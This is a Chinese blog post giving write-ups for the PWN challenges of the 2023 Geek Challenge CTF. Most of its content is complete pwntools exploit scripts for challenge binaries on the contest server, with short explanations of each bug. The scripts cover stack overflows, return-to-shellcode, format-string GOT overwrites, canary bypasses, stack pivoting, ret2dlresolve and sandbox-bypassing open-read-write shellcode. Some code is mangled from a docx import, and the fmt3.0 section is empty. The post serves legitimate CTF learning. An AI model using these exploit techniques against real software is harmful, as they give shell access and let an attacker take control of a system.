window.onload=function(){ /*页面加载完成之后生成博客目录*/ BlogDirectory.createBlogDirectory("cnblogs_post_body","h2","h3",20); }

2023第十四届极客大挑战 — PWN WP

WP可能有点简陋,因为是直接从docx导入到博客的,实在不想再重新写了!大家凑合着看吧!哈哈哈,问题不大!

pwn方向出自:队友

nc_pwntools

只要过了chal1和chal2即可执行任意命令

chal1要求输入的字符串以Syclover结尾

chal2要求算算数,直接接收一行后用eval函数即可算出结果

exp:

from pwn import *

context.arch='amd64' 
context.log_level = 'debug' 
#p=process("./nc_pwntools")

p=remote("pwn.node.game.sycsec.com",30749) 
elf=ELF("./nc_pwntools")

payload=b'a'*92

payload+=b'Syclover' 
p.send(payload) 
p.recvuntil("first one\n") 
line=p.recvuntil("=?",drop=True) 
res=eval(line)

print(res) 
p.sendline(str(res)) 
p.interactive()

password

password是真随机数,看上去似乎无解

这里用strcmp来比较

有一种情况,就是随机数第一位是\x00,比较的时候就会直接截断字符串,我们写个脚本爆破这种情况就行

exp:

from pwn import * 
context.arch='amd64' 
context.log_level = 'debug'

def pwn():

    backdoor=0x4012F3 
    p.send(b'a'*0x28+p64(backdoor)) 
    p.recv()
    p.send(b'\x00'*65) 
    p.recvuntil("ssword:\n")
    a=p.recv() 
    print(a)

    if b"Correct" in a:
        p.interactive()

if _name_ == " _main_ ":

while True: 
    try:
        p = remote("pwn.node.game.sycsec.com",30289) 
        #p=process("./password")
        pwn() 
    except:
        p.close()

shell()

ret2text

这里栈溢出了

这里有后门函数

所以直接把返回地址改到后门函数那里就好

exp:

from pwn import * 
context.arch='amd64' 
context.log_level = 'debug' 
p=process("./ret2text")

elf=ELF("./ret2text") 
#gdb.attach(p) 
payload=b'a'*0x58 
payload+=b'\x27\x12' 
p.send(payload) 
p.interactive()

write1

这里有后门函数

v2在栈上,因此可以直接通过控制v1来修改返回地址为后门函数,修改最后两位即可

exp:

from pwn import * 
#context.arch='amd64' 
context.log_level = 'debug' 
p=process("./write1")

#p=remote("pwn.node.game.sycsec.com",30723) 
elf=ELF("./write1")

libc=elf.libc 
gdb.attach(p) 
p.sendline(b'aaaa') 
p.sendline(str(0x28)) 
p.sendline(str(hex(-0x2b)))

p.sendline(str(0x29)) 
p.sendline(str(hex(-0x1)))

p.sendline(b'-1')

p.interactive()

ret2libc

额,偏不ret2libc,就用magic_gadget(一时用一时爽,一直用一直爽)主要是没有puts函数,还要

ret2csu,注意到got表可写,且给出了libc,因此直接用magic_gadget将setbuf的got表改为 one_gadget

的地址,最后调用setbuf即可

exp:

from pwn import * 
context.arch='amd64' 
context.log_level = 'debug' 
#p=process("./ret2libc")

p=remote("pwn.node.game.sycsec.com",30739) 
elf=ELF("./ret2libc")

libc=elf.libc 
rdi=0x401333 
vuln=0x4011fd 
csu_low=0x40132A

magic_gadget_addr=0x40119c 
one=0xe3afe

#gdb.attach(p)

def set_to(addr,data): 
    pd = flat([
        csu_low, 
        data,
        addr + 0x3d,
        0, 0, 0, 0,
        magic_gadget_addr
    ])
    return pd 
payload=b'\x00'*(0x10+8)+set_to(elf.got['setbuf'],one- 
libc.sym['setbuf'])+p64(elf.plt['setbuf']) 
p.sendline(payload)
p.interactive()

ezpwn

0x13位的shellcode,空间貌似不够我们执行system("/bin/sh"),那么只能再次调用sys_write,在栈上再写上shellcode覆盖到当前shellcode的下一位即可

payload+=asm(''' xor eax,eax

add edx,esi

syscall ''')

用edi,eax这些32位寄存器来节省空间

经过测算,偏移为6,意味着我们读入6位后就来到了shellcode的结束地址,我们要在这里续写

shellcode

直接用asm(shellcraft.sh()生成即可

exp:

from pwn import * 
context.arch='amd64' 
context.log_level = 'debug' 
#p=process("./ezpwn")

p=remote("pwn.node.game.sycsec.com",30225) 
elf=ELF("./ezpwn")

#gdb.attach(p) 
payload=b'a'*8 
payload+=asm(''' 
xor eax,eax
add edx,esi 
syscall 
''')

print(len(payload)) 
p.send(payload) 
payload=b'a'*0x6 
payload+=asm(shellcraft.sh()) 
p.sendline(payload) 
p.interactive()

mips

这道题是32位的mips pwn

可以看到输入了两次

在测试中发现一个有意思的点,第一段输入超过0x10后程序会直接崩溃

猜测0x10处存储着重要的东西

实测得到栈0x10处存放着偏移,决定了第二段读入的位置

经过调试发现当偏移为0x58的时候(b'a'0x10+p32(0x58)+b'a'0x40这样发送),恰好第二次输入能覆盖到返回地址的位置。

整个程序都有rwx权限,但是栈的地址未知,不能直接ret2shellcode

通过修改返回地址为main函数,write时会泄露出栈地址

泄露出栈地址后第二轮将返回地址改为返回地址+4处,然后在返回地址+4处写shellcode即可

exp:

from pwn import * 
context.arch='mips' 
context.os='linux' 
context.log_level = 'debug'

#p=process(argv=["qemu-mipsel","-g","1234","-L","/usr/mipsel-linux•gnu","./mips"])
#p=process(argv=["qemu-mipsel","-L","/usr/mipsel-linux-gnu","./mips"]) 
p=remote("pwn.node.game.sycsec.com",....)

elf=ELF("./mips")

#libc=elf.libc 
p.sendline(b'a'*0x10+p32(0x58)+b'a'*0x40) 
pause()
p.sendline(p32(0x400920))
payload=b'''bi\t<//)5\xf4\xff\xa9\xafsh\t<n/)5\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\x f
4\xff\xbd'
\xa0\x03sh\t4\xfc\xff\xa9\xaf\xfc\xff\xbd'\xff\xff\x05(\xfc\xff\xa5\xaf\xfc\xff\ x
bd#\xfb\xff\x19$'( \x03 (\xa5\x03\xfc\xff\xa5\xaf\xfc\xff\xbd# (\xa0\x03\xfc\xff\xa0\xaf\xfc\xff\xbd'\xff\xff\x06(\xfc\xff\xa6\xaf\xfc\xff\xbd# 0\xa0\x03\xab\x0f\x024\x0c\x01\x01\x01'''
leak_addr=u32(p.recvuntil("\x40")[-4:]) 
print(hex(leak_addr))

pause() 
p.sendline(b'a'*0x10+p32(0x58)+b'a'*0x40) 
pause() 
p.sendline(p32(leak_addr)+payload) 
p.interactive()

write2

题目开始会给栈地址

题目可以任意地址写

题目开了pie

题目栈可以执行

那么我们可以根据泄露的栈地址,将返回地址改为我们控制的地址

这里有0x18大小的shellcode空间在栈上,足够放得下system("/bin/sh")了

sc=asm('''

xor esi,esi

mul esi

mov al,59

lea rdi,[rbp-0x24]

syscall

''')

sl(sc+b'/bin/sh')

只要多省省,空间就有了,实测这段shellcode的大小才19字节,实在是绰绰有余

那么只需将返回地址改为在栈上的shellcode地址即可

exp:

from pwn import * 
context.arch='amd64' 
context.log_level = 'debug' 
p=process("./write2")
#p=remote("pwn.node.game.sycsec.com",30090) 
elf=ELF("./write2")

#gdb.attach(p) 
p.recvuntil("index_addr:0x") 
leak_addr=int(p.recv(12),16) 
sc=asm('''
xor esi,esi
mul esi 
mov al,59
lea rdi,[rbp-0x24]
syscall 
''')

p.sendline(sc+b'/bin/sh')
print(len(sc+b'/bin/sh')) 
p.sendline(str(0x28)) 
p.sendline('0x'+str(hex(leak_addr+4))[-2:]) 
p.sendline(str(0x29)) 
p.sendline('0x'+str(hex(leak_addr+4))[-4:-2]) 
p.sendline(str(0x2a)) 
p.sendline('0x'+str(hex(leak_addr+4))[-6:-4]) 
p.sendline(str(0x2b)) 
p.sendline('0x'+str(hex(leak_addr+4))[-8:-6]) 
p.sendline(str(0x2c)) 
p.sendline('0x'+str(hex(leak_addr+4))[-10:-8]) 
p.sendline(str(0x2d)) 
p.sendline('0x'+str(hex(leak_addr+4))[-12:-10]) 
print(hex(leak_addr+4))
p.sendline(b'-1') 
p.interactive()

fmt1.0

这里有execve函数

这里printf很奇怪,格式化字符串漏洞,但是后面参数还有个0

源赖氏出题人想让我们格式化字符串修改printf的got表为execve的plt表,然后栈溢出再来一遍,输入时输入"/bin/sh"即可执行execve("/bin/sh")

exp:

from pwn import * 
context.arch='amd64' 
context.log_level = 'debug' 
p=process("./fmt1.0")

#p=remote("pwn.node.game.sycsec.com",31883) 
elf=ELF("./fmt1.0")

libc=elf.libc 
#gdb.attach(p) 
rdi=0x401353 
leave_ret=0x4012c8

#p.send(b'\x00'*0x50+p64(0x404500)+p64(0x401274))

#p.send(b'aaaaaaaa'+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401274)+b'a'*0x28+p64(0x404500-0x60)+p64(0x401280))
#sl(b'aaaaaaaa%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p') 
payload=fmtstr_payload(6,{elf.got['printf']:elf.plt['execve']}) 
payload=payload.ljust(0x58,b'\x00') 
payload+=p64(elf.sym['main'])
p.send(payload)
p.sendline(b'/bin/sh\x00') 
p.interactive()

white_canary

这里设置了种子

这里用两个随机数进行一些奇奇怪怪的操作后生成了canary,但是这不重要,用python的CDLL调用libc

即可还原生成的过程,最后发现取了生成的canary的最后8字节做了实际的canary

小沙箱,直接orw绕过

直接将shellcode写到bss段地址,然后栈溢出将返回地址改为bss地址即可

exp:

from ctypes import * 
from pwn import * 
import time 
context.arch='amd64'
context.log_level = 'debug'
p=process("./chal") 
#p=remote("pwn.node.game.sycsec.com",31567) 
elf=ELF("./chal")

libc =cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") 
libc.srand(int(time.time()-1)%60)

v2 = libc.rand() 
v3 = libc.rand()

canary= ((((v2 >> 4) ^ (16 * v3 + (v3 >> 8) * (v2 << 8))) >> 32)+ ((((v2 >> 48)

+ (v2 << 16) * (v3 >> 16)) ^ (v3 << 48)) << 32))

canary=int(str(hex(canary))[-16:],16) 
print(hex(canary))

#gdb.attach(p)

shellcode=shellcraft.open("flag")+shellcraft.read(3,'rsp',100)+shellcraft.write( 1

,'rsp',100)

p.sendline(asm(shellcode)) 
p.sendline(b'a'*0x8+p64(canary)+b'a'*0x8+p64(0x4040e0)) 
p.interactive()

ez_fullprotection

这道题的后面会创建一个多线程,调用了gets函数,从而有栈溢出漏洞

我们可以通过输入相当大的字符串来覆盖掉多线程的tls结构体,从而绕过canary保护

那么我们还需要绕过pie保护,需要泄露程序的elf_base

这里赢的话由于有canary的原因没有什么用,但是,如果输入一个不是数字的东西,比如说字母就会导致输入失败,

从而不会覆盖原先栈上的数据,比如说输入a,那么他就会泄露出原先栈中的东西,从而泄露出elf_base

最后在多线程中完成rop即可

exp:

from pwn import * 
#context.arch='amd64' 
context.log_level = 'debug' 
p=process("./ez_fullprotection")

#p=remote("pwn.node.game.sycsec.com",30007)

elf=ELF("./ez_fullprotection") 
libc=elf.libc 
#libc=ELF("./libc.so.6") 
#gdb.attach(p) 
p.sendline(b'a')
p.sendline(b'a')
p.recvuntil("entered ")

elf_base=int(p.recv(14))-0x1240 
print(hex(elf_base)) 
rdi=elf_base+0x16e3 
ret=elf_base+0x101a

p.sendline(b'a'*0x38+p64(rdi)+p64(elf_base+elf.got['puts'])+p64(elf_base+elf.plt [

'puts'])+p64(elf_base+elf.sym['consolation_prize'])+b'a'*0x1000) 
leak_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) 
libc_base=leak_addr-libc.sym['puts']

one=libc_base+0xe3b01
print(hex(libc_base)) 
system=libc_base+libc.sym['system'] 
sh=libc_base+next(libc.search(b"/bin/sh\x00"))

p.sendline(b'a'*0x38+p64(elf_base+0x16dc)+p64(0)+p64(0)+p64(0)+p64(0)+p64(one)+b '
a'*0x1000)

p.interactive()

EVA

这道题有两种输入模式,分别是在canary前输入0x100个字节和canary后输入0x10个字节

由于我们一开始不知道canary的值,因此我们第一次只能选第二种输入方式

可以将栈迁移到bss段中去,注意这里迁移的位置一定要偏后一点,否则有可能下面调用函数的时候rsp

指向了不存在的区域

那么我们第一次完成了部分迁移,此时rbp在bss段上,而rsp还在栈上

这时候我们跳转到0x40128E处,这个地方会将rbp-8的位置写上canary的值,而我们的rbp是在bss段上的,因此会在bss段上也写一个canary值

这时候继续返回到0x40137e处,将rsp也挪到bss段上

注意,此时rbp是比rsp位置高的,而stack_check_fail函数是通过rbp-8来找到canary的,因此接下来我

们可以自由的溢出,而不用担心canary,其中结构如下:

canary

rbp

xxxx

xxxx

rsp

xxxx

xxxx

xxxx

接下来但回到0x401355处,调用第一种方式写,然后rop获得libc_base,接着调用system即可

exp:

from pwn import * 
#context.arch='amd64' 
context.log_level = 'debug' 
p=process("./EVA")

#p=remote("pwn.node.game.sycsec.com",30430)
elf=ELF("./EVA")
libc=ELF("./libc.so.6") 
gdb.attach(p) 
bss_addr=0x404800 
rdi=0x401423 
ret=0x40101a 
rsi_r15=0x401421 
rsp_r13_r14_r15=0x40141d 
rbp=0x4011dd 
leave_ret=0x401280 
p.sendline(b'0')
pause() 
p.send(p64(bss_addr)+p64(0x40128e)) 
pause()
p.sendline(b'0') 
pause()
p.send(p64(bss_addr)+p64(0x40137e)) 
pause() 
p.send(p64(bss_addr)+p64(0x401355)) 
pause()

p.sendline(b'a'*0x58+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401355))

leak_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) 
libc_base=leak_addr-libc.sym['puts'] 
system=libc_base+libc.sym['system'] 
sh=libc_base+next(libc.search(b"/bin/sh\x00")) 
p.sendline(b'a'*0x70+p64(rdi)+p64(sh)+p64(system)) 
p.interactive()

why_n0t_puts

Partial RELRO+只有read,很明显是ret2dlresolve

直接套板子即可

将返回地址改为read的rop链

在bss段上伪造linkmap,然后调用dklresolve函数并传入假的linkmap_addr即可

exp:

from pwn import * 
context.arch='amd64' 
context.log_level = 'debug' 
p=process("./why_n0t_puts")
#p=remote("pwn.node.game.sycsec.com",....) 
elf=ELF("./why_n0t_puts") 
libc=elf.libc

def create_link_map(l_addr,know_got,link_map_addr): 
    link_map=p64(l_addr & (2 ** 64 - 1))
    #dyn_relplt 注意这里是DYNAMIC节中含的relplt(或是说DT_JMPREL?)的指针的结构
    link_map+=p64(0) 
    link_map+=p64(link_map_addr+0x18) 
    #ptr2relplt 
    #relplt 注意这里才是relplt(或是说DT_JMPREL?) 
    link_map+=p64((know_got - l_addr)&(2**64-1)) 
    link_map+=p64(0x7)
    link_map+=p64(0)
    #dyn_symtab 同样,这里才是DT_SYMTAB在DYNAMIC中的结构,里面有一个指针指向DTSYMTAB,这个指针要指向我们选的已重定位函数的got表-8的地方,这样才能让st_value为已重定位函数的地址
    link_map+=p64(0) 
    link_map+=p64(know_got-0x8) 
    link_map+=b'/bin/sh\x00' 
    link_map=link_map.ljust(0x68,b'B')
    link_map+=p64(link_map_addr) #字符串表指针的指针,随便写个地址就行,反正用不到
    link_map+=p64(link_map_addr+0x30) #ptr2dyn_symtab_addr,DT_SYMTAB在 DYNAMIC中对应的结构的地址
    link_map=link_map.ljust(0xf8,b'C') 
    link_map+=p64(link_map_addr+0x8) #ptr2dyn_relplt_addr 
    return link_map

#gdb.attach(p) 
rdi=0x4011d3 
rsi_r15=0x4011d1
fake_link_map_addr=0x404800 
data=0x404500 
sh=fake_link_map_addr+0x40

offset=libc.symbols['system']-libc.symbols['read'] 
fake_link_map=create_link_map(offset,elf.got['read'],fake_link_map_addr) 
print(len(fake_link_map)) 
payload=b'a'*0x38+p64(rdi)+p64(0)+p64(rsi_r15)+p64(fake_link_map_addr)+p64(0)+p6
4
(rsi_r15)+p64(fake_link_map_addr)+p64(0)+p64(elf.plt['read'])+p64(rdi)+p64(sh)+p
6
4(0x401026)+p64(fake_link_map_addr)+p64(0) 
p.send(payload)
pause()
p.send(fake_link_map) 
p.interactive()

fmt2.0

有两次使用格式化字符串的机会,通过调试可以确定偏移为6

第一次泄露栈地址和libc基址

第二次将栈的返回地址改为one_gadget的地址。

这里因为空间有限使用short来写入数据,也就是%hn

此脚本有概率打不通,主要是地址泄露那块的问题1,差不多打通的概率为1/2

exp:

from pwn import * 
context.arch='amd64' 
context.log_level = 'debug' 
p=process("./fmt2.0")
#p=remote("pwn.node.game.sycsec.com",)
elf=ELF("./fmt2.0") 
libc=elf.libc 
#gdb.attach(p)

p.sendline(b'aaaaaaaa%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p') 
p.recvuntil("aaaa0x")

leak_addr=int(p.recv(12),16) 
print(hex(leak_addr)) 
ret_addr=leak_addr+0x68

p.recvuntil("0x50-0x") 
leak_addr=int(p.recv(12),16) 
read=leak_addr-18 
libc_base=read-libc.sym['read'] 
p.recvuntil("0x55")

leak_addr=int((b'55'+p.recv(10)),16)

print(hex(leak_addr&0xfffffffff000-0x1000)) 
base=leak_addr&0xfffffffff000-0x1000 
one=0xe3b01
payload=fmtstr_payload(6,{ret_addr:libc_base+one},write_size='short')
p.sendline(payload)
p.interactive()

fmt3.0

EXP:

 

posted @ 2023-11-28 20:33  Kicky_Mu  阅读(392)  评论(1编辑  收藏  举报